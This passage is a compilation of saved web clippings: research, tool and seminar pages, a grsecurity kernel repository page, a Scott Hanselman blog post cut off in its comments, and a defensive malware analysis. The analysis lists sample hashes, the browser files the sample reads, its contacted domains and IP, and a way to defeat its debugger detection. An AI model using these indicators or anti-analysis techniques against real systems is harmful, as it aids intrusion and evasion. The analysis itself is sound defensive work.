clean_. \(In the Makefile you can see that the _\*.dll_ etc are single-quoted,
this is because the windows port of _make_ simply crashes when you try to run
e.g. _rm \*.dll_ directly. If anyone has a solution for me.. please do tell,
and I’ll buy you a beer in return.\)

# SensepostInterview - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:34:56 PM_  
---|---  
**Updated:**| _8/5/2009 12:35:02 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

Free Tools From Sensepost \- Bidihblah, Squeeza, Wikto, and more\!

More tools from Sensepost\! \- BILE is great\!

# Alchemy: Transmutating Programs into Circuits - Microsoft Research

**Created:**| _12/7/2012 1:17:38 PM_  
---|---  
**Updated:**| _12/7/2012 1:17:38 PM_  
**Author:**| __  
**Tags:**| _bookmark analysis software testing_  
  
  

Alchemy: Transmutating Programs into Circuits

The Alchemy project aims to trasmutate programs into circuits for either
faster execution or execution with reduced energy consumption on specialized
hardware like FPGAs. Our project is developing technology to automatically
synthesize programs written in C using dynamic data structures, or multi-
thread programs in C\# or data-parallel programs using Microsoft’s Accelerator
system into circuits.

People

<img src='img/Temp2_496.png' width='72' height='72' alt='Byron Cook' />

Byron Cook

  

Publications

  * Byron Cook, Ashutosh Gupta, Stephen Magill, Andrey Rybalchenko, Jiří Šimša, Satnam Singh, and Viktor Vafeiadis, Finding heap-bounds for hardware synthesis, in _Formal Methods in Computer Aided Design \(FMCAD\)_ , 15 November 2009
  * David J. Greaves and Satnam Singh, Exploiting System-Level Concurrency Abstractions for Hardware Descriptions, no. MSR-TR-2009-48, 22 April 2009
  * Satnam Singh, David Greaves, and Sutirtha Sanyal, Synthesis of a Parallel Smith-Waterman Sequence Alignment Kernel into FPGA Hardware, in _Many-Core and Reconfigurable Supercomputing Conference 2009, Berlin._ , IEEE Computer Society, March 2009
  * David Greaves and Satnam Singh, Application Specific Circuits with Concurrent C\# Programs, in _Draft under submission to a conference._ , IEEE, 5 February 2009
  * Byron Cook, Ashutosh Gupta, Satnam Singh, and Viktor Vafeiadis, Gate Synthesis for C Programs with Heap, in _Draft under submission._ , IEEE Computer Society, 7 January 2009
  * David Greaves and Satnam Singh, Using C\# Attributes to Describe Hardware Artefacts within Kiwi, in _Specification and Design Languages Forum \(FDL\) 2008._ , IEEE Computer Society, September 2008
  * David Greaves and Satnam Singh, Kiwi: Synthesis of FPGA Circuits from Parallel Programs, in _IEEE Symposium on FPGAs for Custom Computing Machines \(FCCM\)_ , IEEE Computer Society, April 2008
  * David Greaves and Satnam Singh, Describing Hardware with Parallel Programs, in _Designing Correct Circuits, Budapest, 2008._ , IEEE, March 2008

  

# Analysis of Malware: Detecting Behavior & Anti-Reversing Techniques -
Checkmate

**Created:**| _4/23/2014 10:05:01 AM_  
---|---  
**Updated:**| _4/23/2014 10:05:01 AM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis_  
  

# Analysis of Malware: Detecting Behavior & Anti-Reversing Techniques

#### Scenario:

One of our clients observed a suspicious behavior in a program and wanted us
to analyze and identify if any malicious activities were being performed by
the same. The program wasn’t detected by their anti-virus solution during
‘file access operations’. However, some unusual outbound network traffic
triggered alerts from the network monitoring team.

**Filename**| **Size \(in bytes\)**| **File Type**| **Hash**  
---|---|---|---  
**pprtc.exe**|  71,168| PE \(Win32\)| \(MD5\)dda3b490cd01690e12b280e5bb935bce  
\(SHA1\)ca4175a0c526d1be74fd1b00668e0799e41f0e76  
Table 1: Suspect File Details

Opening the file in Hex-editor, it was found that suspect file was ‘packed’
using UPX.UPX is a program often used by virus writers to bypass Anti-Virus
protection by compression techniques. When the UPX program is used with any
clean binaries, all original PE sections, i.e., text, data, rsrc etc., will
get compressed. These compressed sections will be aligned under the name of
UPX, UPX0 and UPX1, as you can see in Figure 1 below. UPX then adds an
additional code with which it will decompress these sections before actual
execution.

<img src='img/Temp2_589.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 1: UPX Packer Identified

Unpacking such packed binaries is quite straight forward. We can use the
packing program \(UPX.exe in this case\) to unpack the EXE as shown below:

<img src='img/Temp2_588.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 2: Unpacking the program

After unpacking, original/unpacked binary was found with hash value of
**fd818e8433a7804ba8a57cea50dcafff** \(MD5\)

The initial phase of analysis was to identify the behavior of suspected file
execution by setting up a sandbox with relevant tools. This is called ‘Dynamic
Malware Analysis’. I shall try to explain the tools and setup required for
dynamic analysis in a future a blog post.

During dynamic analysis we are mainly looking at the run-time execution of
suspect file:

  * Is it making any process calls?
  * Are there any system file \(read/write\) operations being performed?
  * Any registries being accessed?
  * Is it making any remote network connection?
  * If it is connecting to remote servers, is it transferring any information?

#### Analyzing Processes & I/O Operations

While inspecting the process calls, it was found that suspect program calls
theWindows Service Host Process \(svchost.exe\), which is implemented where
multiple services share one process for reducing load of system resources
\[1\].

<img src='img/Temp2_584.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 3: Process Calls to Service Host

The file I/O operations were also analyzed and found that suspect program was
accessing following files;

[code]

    **%USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\iruggagh.default\webappsstore.sqlite**
[/code]

[code]

    **%USERPROFILE%\Local Settings\Temporary Internet Files**
[/code]

These files are the browser history data-stores for Firefox and Internet
Explorer respectively.

The Infected system created Windows Management Instrumentation \(WMI\) log
file \[2\] during the execution of suspect binary.

[code]

    **%WINDIR%\system32\WBEM\Logs\wbemprox.log**
[/code]

This system file contains WMI proxy server information affecting to
connectivity issues. As showen in the figure below, it was found that suspect
program was trying to perform some privileged operations.

<img src='img/Temp2_583.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 4: wbemprox.log Entry

The suspect program was also performs certain registry operations. One of the
interesting registry modifications noticed during analysis was an additional
key value \(i.e., null value\) to registry entry of Windows command prompt
HKCU**\Software\Microsoft\Command Processer\AutoRun**. This means the Windows
command program will be non-functional as the **AutoRun** , i.e., startup
parameter, was set to **NULL**.

<img src='img/Temp2_592.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 5: Command Processor Suspicious Entry

The suspect program also added a **crypto seed** into the registry. This means
the program was possibly using anti-reversing techniques. We will see more
details about this in static analysis.

<img src='img/Temp2_590.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 6: Crypto Seed Identified in Registry

#### Analyzing Network Operations

While analyzing the network communication during dynamic analysis, it was
found that the suspect binary made HTTP requests to multiple domains. The
network traffic was captured in a sandbox environment and you can download the
raw PCAP file from here.

Calls to following domains were identified

  * obofonaxy.nl
  * aqaxiboqe.nl
  * ducyqaxas.nl
  * codudiref.nl
  * fojavexuz.nl
  * walaleqiw.nl
  * geqeguput.pl
  * zybycowed.pl
  * zejotires.pl
  * bocaxidej.pl

All the Netherland domains \(.nl domains\) were dead at the time of analysis.
But all the Poland domains \(.pl domains\) resolved to the same IP address:
**148.81.111.94**

<img src='img/Temp2_586.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 7: Analyzing Network Capture using FindDomainCalls\[3\]

This IP belongs to Naukowa i Akademicka Sieć Komputerowa \(“Research and
Academic Computer Network”\) or NASK\[4\].

<img src='img/Temp2_593.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 8: Geo Trace

With a brief understanding of what the binary was trying to do on a victim’s
machine, we now proceed to conduct a static analysis. We first need to
identify any anti-reversing techniques used by the program.

Loading up the malware in a debugger \(IDA Free 5.0\) we manually step-into
each instruction and try to identify if the **isDebuggerPresent** function is
being called. This function is used by the binary to identify if any debugger
is attached to the process.

<img src='img/Temp2_591.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 9: Ant-debugging Techniques – IsDebuggerPresent

This anti-reversing protection can be easily bypassed. To do this, we setup a
breakpoint with a user-defined condition – _assign EAX to 0_\(so that each
time when the function gets called, it should sets the value 0 in EAX\).This
needs to be done at all locations where a reference to the
**isDebuggerPresent** function is made. As the condition always returns 0 and
the malware binary then interprets this as debugger is not present.

The suspect binary was found to be using self-modifying routines which is a
sophisticated technique used by malware authors to dynamically change the code
during execution.

<img src='img/Temp2_585.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 10: Self Modified Signature Identified by the debugger

Self-modifying code makes a program appear different from it’s actual code. In
this case, the suspect program was passing through a set of routines
iteratively which changes the existing code during execution. In the
screenshot below, we can see multiple calls to address spaces which are used
by the self-modifying routines.

<img src='img/Temp2_587.png' alt='Analysis of Malware : Detecting behavior &
Anti-reversing techniques' />

Figure 11: Random Iteration for Self Modified Code

Overall, we can conclude that the suspect program was crafted by sophisticated
writers with multiple anti-reversing techniques such as packers, debugger-
detection, cryptographic techniques and self-modifying routines.

However, a previous analysis report available at VirusTotal displayed a lot of
similarities to our suspect binary.

https://www.virustotal.com/en/ip-address/199.217.115.62/information/

Although the IP address mentioned in this analysis was not found in our
network capture, the domain names and URL calls were found to be the same.

The suspected binary was scanned using VirusTotal API and the result as
follows

**AV Name**| **Detection Result**  
---|---  
**MicroWorld-eScan**|  Gen:Variant.Kazy.213219  
**McAfee**|  RDN/Generic.tfr\!dn  
**K7AntiVirus**|  Trojan  
**K7GW**|  Trojan  
**TheHacker**|  Posible\_Worm32  
**Agnitum**|  Trojan.Droma\!RnznSPio82Q  
**Symantec**|  WS.Reputation.1  
**Norman**|  Moure.B  
**TrendMicro-HouseCall**|  TROJ\_GEN.F0C2C0KH513  
**Avast**|  Win32:Malware-gen  
**Kaspersky**|  Trojan.Win32.Droma.c  
**BitDefender**|  Gen:Variant.Kazy.213219  
**NANO-Antivirus**|  Trojan.Win32.Droma.caesga  
**Emsisoft**|  Gen:Variant.Kazy.213219 \(B\)  
**Comodo**|  UnclassifiedMalware  
**F-Secure**|  Gen:Variant.Kazy.213219  
**DrWeb**|  Trojan.KillProc.28071  
**VIPRE**|  Trojan-Downloader.Win32.Moure.ba \(v\)  
**AntiVir**|  TR/Kazy.213219  
**TrendMicro**|  TROJ\_GEN.F0C2C0KH513  
**McAfee-GW-Edition**|  RDN/Generic.tfr\!dn  
**Sophos**|  Mal/Generic-S  
**Jiangmin**|  Backdoor/Androm.biz  
**Antiy-AVL**|  Trojan/Win32.Droma  
**AhnLab-V3**|  Trojan/Win32.LockScreen  
**GData**|  Gen:Variant.Kazy.213219  
**Commtouch**|  W32/Backdoor.IGGZ-7997  
**VBA32**|  BScope.Trojan.AET.8807  
**ESET-NOD32**|  Win32/TrojanDownloader.Moure.X  
**Ikarus**|  Trojan.Win32.Droma  
**Fortinet**|  W32/Krap.JI\!tr  
**AVG**|  BackDoor.Generic17.ALQS  
#### References:

### Share this:

# netbrake home page

**Created:**| _10/15/2010 1:08:27 PM_  
---|---  
**Updated:**| _10/15/2010 1:11:00 PM_  
**Author:**| __  
**Tags:**| _Linux admin_  
  
<img src='img/Temp2_10491.jpg' />  
  
  
**OVERVIEW**  
---  
Netbrake is an utility to limit the bandwidth used by a process. It does not
require to modify the kernel, nor to be root in order to work. It is useful
when you need to download a very big file from a fast server to avoid a
network congestion that will result in a too slow web/irc/... experience. I
use it mostly to download big files \(like the kernel source code\) with wget.  
  
Netbrake also implements a very simple HTTP filesystem extension, so you can
use the standard text utils against some URL, without to change the code, nor
recompile.  
  
Netbrake consists of a little dynamic library \(libnetbrake.so\). This library
provides wrappers for important system calls, this makes possible the
bandwidth limitation. To override the libc syscalls wrappers with the
netbrake's ones you need to use LD\_PRELOAD. To improve the easy of use a
simple program \(netbrake\), that exports the right LD\_PRELOAD environ
variable and run the specified command \(the one you need to limit\) is
included in the distribution.  
  
Netbrake is free software under the terms of the X11 license  
See the LICENSE file in the distribution for more information.  
**DOWNLOAD**  
**Warning: netbrake only works on glibc/linux systems\!**  
  
Netbrake is not mature software, the current version is **0.2**  
It was a fast hack for my internal use so I can't ensure it will be
mantained/extended in the future. For sure I'll apply minor fix if you send me
diffs.  
  
The 0.2 version fixes a compilation bug with new versions of glibc.  
download netbrake  
  
**AUTHOR**  
Salvatore Sanfilippo <antirez@invece.org>

# Kernelsec, Debian and Ubuntu GrSecurity packages

**Created:**| _11/25/2009 3:44:58 PM_  
---|---  
**Updated:**| _11/25/2009 3:45:03 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

# The Debian and Ubuntu kernel security packages repository

## What is it ?

I found myself administering dozens of machines and in the need for a very
generic grsecurity kernel package that would work on every IA32 machine out of
the box.

Therefore, I have built a grsecurity-enabled kernel package with some security
options disabled \(such as MPROTECT restrictions to avoid problems with
PT\_GNU\_STACK\).

\-- Julien TINNES \(The 'contact' link on the left is the prefered way to
contact me about this repository\).

## Changelog

2009-08-16: Big update. Updated to kernel 2.6.27.29 \(2.6.27.29-4-grsec\),
grsecurity 2.1.12 final and loop-AES 3.2.g. This notably fixes CVE-2009-2692
and CVE-2009-1895 among others. It's also the first version which enables PaX'
UDEREF \(use kernel boot option pax\_nouderef=1 to disable it\). It also gives
vm.mmap\_min\_addr a default value of 32768 to protect those of you without a
correct default value in /etc/sysctl.conf \(you may want to check you don't
override this to zero though\). Important: the unrestricted /proc group was
moved from gid 112 to gid 504.

2008-07-09: updated to kernel 2.6.25.10 \(2.6.25.10-1-grsec\), grsecurity
2.1.12 \(beta\) and loop-AES 3.2c. This fixes several exploitable
vulnerabilities in the Linux kernel, including the SCTP vulnerability fixed in
2.6.25.9 for which we have a working exploit.

2008-07-09: packaged paxctl 0.5 because debian/ubuntu were stuck with 0.3

2008-02-11: fixed missing checks in splice\(\) \(2.6.21.5-2-grsec\) -
\(CVE-2008-0009, CVE-2008-0010, CVE-2008-0600\).

2008-02: creation of this Changelog

2007-06: first version of kernelsec

## Documentation

This package is supported on Ubuntu 8.04 LTS and Debian stable. However it is
known to work on other Ubuntu versions and Debian unstable.

Gid 504 is the special group with /proc access, you may want to put yourself
in this group if you're an admin or at least check that you don't have a non-
admin group with this gid.

Groups 500, 501, 502 and 503 are respectively: TPE restricted users, deny all
socket groups, deny client socket group and deny server socket group.

This package enables grsecurity's sysctl feature. Your can change options by
using /proc/sys/kernel/grsecurity.  
Don't forget to `echo 1 > /proc/sys/kernel/grsecurity/grsec_lock` after
booting \(add kernel.grsecurity.grsec\_lock=1 at the end of /etc/sysctl.conf\)

All the special gids are configurable through /proc/sys/kernel/grsecurity

You may also want to disable module loading to protect against kernel rootkit
installation \(other protections such as /dev/\[k\]mem restrictions are
enabled by default\): `echo 1 > /proc/sys/kernel/grsecurity/disable_modules`.

You can enable PaX soft mode by using pax\_softmode=1 as a kernel parameter.
Then, use /proc/sys/kernel/pax to tweak your kernel.

If you run this kernel in a VMWare guest, PaX' UDEREF will be automatically
disabled. If you use another virtualization software, you may want to disable
it manually for performance or compatibility reasons \(pax\_nouderef=1 as a
kernel parameter\).

Virtualisers such as VmWare or Virtualbox should work out of the box \(but you
might want to `paxctl -m` in case I decide to enable mprotect restrictions one
day\).  
Wine, Cedega and Crossover Office will work, but you need to disable
SEGMEXEC/PAGEXEC with `paxctl -smp <wine-preloader> <wineloader>`.

I have also included loop-AES in this kernel.

TBA

## Use it

You need to add this repository to your /etc/apt/sources.list:

`deb http://ubuntu.cr0.org/repo/ kernel-security/` or `deb
http://debian.cr0.org/repo/ kernel-security/`

Download the repository's gpg key, check it \(it has been signed with my own
GPG key\) and use: `apt-key add kernel-security.asc`

Afterwards you can use `apt-get update` and install the package by using `apt-
get install linux-image-grsec`

LINKS

grsecurity  
PaX

cr0.org

contact

<img src='img/Temp2_4787.png' width='88' height='31' alt='Valid XHTML 1.1' />

# LZI - Schloss Dagstuhl - Talks + Materials of Seminar 12051

**Created:**| _2/4/2012 11:10:07 AM_  
---|---  
**Updated:**| _2/4/2012 11:10:18 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification conference-material_  
  

## Seminar 12051  
Analysis of Executables: Benefits and Challenges

Andy M. King \(University of Kent, GB\), Alan Mycroft \(University of
Cambridge, GB\), Thomas W. Reps \(University of Wisconsin - Madison, US\),
Axel Simon \(TU München, DE\)

Caveat: Due to caching problems of dynamic webpages, sometimes newly  
uploaded files are not shown. Please reload the page accordingly.

|  **Seminar Wide Materials**  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  |   
|  
  

  

|  Gogul Balakrishnan , NEC Laboratories America, Inc. - Princeton  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _A tale of two tools: BEST & GIRA_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /><img
src='img/Temp2_4823.png' alt='txt' />  
  
  
  

|  Sebastien Bardin , CEA - Gif sur Yvette  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Refinement-based CFG reconstruction from unstructured programs_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /><img
src='img/Temp2_4823.png' alt='txt' /> Slides: <img src='img/Temp2_4820.png'
alt='pdf' />  
  
  
  

|  Edward Barrett , University of Kent  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  **Sebastian Biallas** , RWTH Aachen  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Model Checking PLC Programs_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' />  
  
  
  

|  Joerg Brauer , RWTH Aachen  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _On Backward Analysis in Binary Code using SAT/SMT_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Doina Bucur , INCAS3  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Mihai Christodorescu , IBM TJ Watson Research Center - Hawthorne  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Bjorn De Sutter , Ghent University  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Evaluating Binary Code Diversification_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Thomas Dullien , Google Switzerland - Zürich  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Comparison, Navigation, Classification_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Emmanuel Fleury , Université Bordeaux  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Insight Framework: Yet Another Executable Binary Analysis
Framework..._**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Andrea Flexeder , TWT GmbH  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Fast Linear Two Variable Equalities_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Roberto Giacobazzi , Università degli Studi di Verona  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  **Sean Heelan** , Immunity Inc.  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Paul Irofti , FileMedic Ltd.  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Emulator Design, Traps and Pitfalls_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Johannes Kinder , EPFL - Lausanne  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Jakstab & Alternating Control Flow Reconstruction_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Andy M. King , University of Kent  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Arun Lakhotia , Univ. of Louisiana - Lafayette  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Context sensitive analysis without calling context_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4819.png' alt='ppt' />  
  
** _In Site Reuse of Functional Components of Binaries_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4819.png' alt='pptx' />  
  
  
  

|  Jerome Leroux , Université Bordeaux  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Junghee Lim , University of Wisconsin - Madison  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _TSL: A System for Automatically Creating Analyzers and its
Applications_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4819.png' alt='pptx' />  
  
  
  

|  **Alexey Loginov** , GrammaTech Inc.- Ithaca  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Scalable Vulnerability Detection in Machine Code_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' />  
  
  
  

|  Florian Martin , AbsInt - Saarbrücken  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Challenges in WCET Analysis_**  
---  
Slides: <img src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  David Melski , GrammaTech Inc.- Ithaca  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _PEASOUP: Preventing Exploits Against Software Of Uncertain
Provenance_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' />  
  
  
  

|  **Bogdan Mihaila** , TU München  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Barton P. Miller , University of Wisconsin - Madison  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Binary Code Analysis and Modification with Dyninst_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' />  
  
  
  

|  **Martin Murfitt** , Trustwave Ltd., London  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Alan Mycroft , University of Cambridge  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Decompilation, type inference and finding code_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Magnus Myreen , University of Cambridge  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Michael Petter , TU München  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Thomas W. Reps , University of Wisconsin - Madison  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _There's Plenty of Room at the Bottom: Analyzing and Verifying Machine
Code_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4819.png' alt='ppt' />  
  
  
  

|  Xavier Rival , ENS - Paris  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Edward Robbins , University of Kent  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  **Daniel Roelker** , DARPA - Arlington  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  **Andrew Ruef** , University of Maryland - College Park  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  **Alexander Sepp** , TU München  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  **Holger Siegel** , TU München  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Axel Simon , TU München  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Combining several analyses into one OR What is a good intermediate
language for the analysis of executables?_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Fausto Spoto , Università degli Studi di Verona  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Constraint-based Static Analysis of Java Bytecode_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Aditya Thakur , University of Wisconsin - Madison  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _A Method for Symbolic Computation of Abstract Operations_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4819.png' alt='pptx' />  
  
  
  

|  Christopher Vick , Qualcomm Corp.R&D, Santa Clara  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Aymeric Vincent , Université Bordeaux  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

|  Andrew Walenstein , University of Louisiana at Lafayette  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  ** _Adversarial Program Analysis and Malware Genomics_**  
---  
Abstracts: <img src='img/Temp2_4823.png' alt='txt' /> Slides: <img
src='img/Temp2_4820.png' alt='pdf' />  
  
  
  

|  Florian Zuleger , TU Wien  
---  
<img src='img/Temp2_4822.png' alt='Manage Documents' /> manage documents  
|  
  

* * *
## License

<img src='img/Temp2_4821.png' alt='Creative Commons License' />  
This webpage and the material that is made available on this webpage is
licensed under a  
Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported
License.  
  
The CC by-nc-nd license allows you to copy, distribute and transmit the work
under the following conditions:

  * Attribution: You must attribute the work in the manner specified by the author or licensor \(but not in any way that suggests that they endorse you or your use of the work\). 
  * Noncommercial: You may not use this work for commercial purposes. 
  * No Derivative Works: You may not alter, transform, or build upon this work. 

  

Vimium has been updated to 1.30.x

# You are not your code. - Scott Hanselman

**Created:**| _6/29/2017 3:52:03 PM_  
---|---  
**Updated:**| _6/29/2017 3:52:03 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## You are not your code.

January 24, '13 Comments \[60\] Posted in Musings

<img src='img/2681686220_1f39f404f4_3.jpg' width='500' height='300' alt='Photo
by Ed Yourdon used under CC http://flic.kr/p/55YkTj' />I'm a lousy programmer.
However, I am less lousy than I was last year, and significantly less lousy
than I was 20 years ago. Even still, there's a lot of crap on my GitHub and
Bitbucket repos - but I'm totally OK with it.

I am not my code.

Yes, it's a reflection of me, but just as I am not my 8th grade English paper
or my college entrance scores, I am not the code I wrote last year. Feel free
to tear it apart. I will be better this year.

Your code does affect your reputation, truly. It is possible that you are a
bad programmer. You'll never know until someone better sees it. Sharing your
code may find you a mentor, or get a teacher's critical eye and help fixing
it. Pull requests can't happen until you've shared your code.

I'll ~~steal~~ clone David Copeland's summary of this week's "social coding
scandal."

> _So,__someone shared some code_ _on Github and some classic_ _developer
> snark_ _rolled in. And then there were_ _some_ ___apologies_ _about it._
The irony is, of course, that the code in question was actually rather useful,
didn't require idiomatic command line knowledge, and, most importantly
**solved someone's problem**.

Don't let any of internet drama stop **_you_** from writing on your blog or
from contributing to open source. In fact, I would encourage you to release
some source code **right now.** Go find some, I'll wait.

Have a code garage sale. One person's junk is another person's treasure.

> "I can't believe I found code that does exactly what I needed."
> "Wow, I learned a lot from that algorithm."
Feel free to share some of your lousy code in the comments, and we all promise
not to judge you. Feel free also to share some awesome code if that makes you
happy, as long as you share.

« Cancer | Blog Home | Integrating Mozilla Persona with ASP.NET... »
#### About Scott

Scott Hanselman is a former professor, former Chief Architect in finance, now
speaker, consultant, father, diabetic, and Microsoft employee. He is a failed
stand-up comic, a cornrower, and a book author.

<img src='img/Temp2_9988.jpg' width='16' height='16' alt='facebook' /> <img
src='img/Temp2_9987.jpg' width='16' height='16' alt='twitter' /> <img
src='img/Temp2_9986.jpg' width='16' height='16' alt='g+' /> <img
src='img/Temp2_9989.jpg' width='16' height='16' alt='subscribe' />  
About Newsletter

Comments \[60\]

Share on: Twitter, Facebook, Google+ or use the Permalink

Thursday, January 24, 2013 11:00:26 PM UTC

Great post\! I'm shocked at the snobbishness of people. Granted, I love good,
clean code but meeting something with snarkiness or condescension has never
produced good. If you feel that someone could benefit from your knowledge,
then why not provide constructive criticism? We are not our code, but like
life we can only improve when others show us how we can through humility and
kindness.

<img src='img/12976_avatar.php.png' width='110' height='110' />Brian

Thursday, January 24, 2013 11:02:32 PM UTC

Love this:  
  

>  
> We are not our code, but like life we can only improve when others show us
> how we can through humility and kindness.  
>
>> <img src='img/12971_avatar.php.png' width='110' height='110' />Scott
Hanselman

Thursday, January 24, 2013 11:07:34 PM UTC

This is exactly why I think Twitter is a HORRIBLE medium for communication,
especially technical communication. It's impossible to justify your opinions
in 140 characters and without justification any criticism comes off as snarky,
horrible and... well... unjustified.

<img src='img/12963_avatar.php.jpg' width='110' height='110' />Martin D

Thursday, January 24, 2013 11:22:08 PM UTC

Really well put Scott\!\!\!  
  
I saw David Copeland's post yesterday and after reading it, I started thinking
on getting all my old code and posting it to GitHub just for the fun of...
**sharing\!**

<img src='img/12978_avatar.php.jpg' width='110' height='110' />Pedro Lamas

Thursday, January 24, 2013 11:22:21 PM UTC

I really appreciate this sentiment from "programmer celebrities" \(if there is
such a thing\) like yourself.  
  
There are a lot of us out here who are slogging along every day, writing code
that no one necessarily sees. Our code probably isn't terrible, but is it the
